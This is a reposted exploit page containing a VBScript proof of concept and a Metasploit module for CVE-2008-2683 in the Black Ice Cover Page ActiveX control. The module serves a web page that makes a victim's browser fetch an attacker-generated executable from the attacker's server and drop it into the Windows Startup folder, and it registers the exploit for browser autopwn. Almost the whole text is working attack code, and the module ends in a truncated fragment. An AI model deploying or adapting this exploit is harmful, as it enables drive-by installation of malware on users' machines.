Black Ice Cover Page SDK insecure method DownloadImageFileURL() exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Black Ice Cover Page SDK insecure method DownloadImageFileURL() exploit

来源：http://www.metasploit.com 作者：mr_me 发布时间：2011-06-21

<html>
Blackice Cover Page SDK insecure method DownloadImageFileURL() exploit

arg1="http://www.google.com/robots.txt"
arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt"

target.DownloadImageFileURL arg1 ,arg2
</script>
</html>

# MSF Module
##
# $Id: blackice_coverpage_download.rb 12540 2011-06-20 20:43:19Z mr_me $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank       => NormalRanking,
  :vuln_test => nil,
})

def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file system
    by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0).
    This issue is also reported in BIDIB.ocx (10.9.3.0) within the Barcode SDK.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
      'shinnai', # original discovery
      'mr_me' # msf
         ],
   'Version'        => '$Revision: 12540 $',
   'References'     =>
    [
     [ 'CVE', '2008-2683'],
     [ 'OSVDB', '46007'],
     [ 'BID', '29577'],
     [ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jun 20 2011'))

  register_options(
   [
    OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\']),
   ], self.class)
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

  payload_url = "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  # random junk
  vname = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)
  clsid = "79956462-F148-497F-B247-DF35A095F80B"
  blackice = rand_text_alpha(rand(100) + 1)
  method = "DownloadImageFileURL"
  arg1 = rand_text_alpha(rand(100) + 1)
  arg2 = rand_text_alpha(rand(100) + 1)

  content = <<-EOS
  <html>
  <object classid='clsid:#{clsid}' id='#{blackice}' ></object>
  <script language='vbscript'>
  #{arg1} = "#{payload_url}"
  #{arg2} = "#{datastore['PATH']}#{exe}.exe"
  #{blackice}.#{method} #{arg1}, #{arg2}
  </script>
  </html>
  EOS

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

[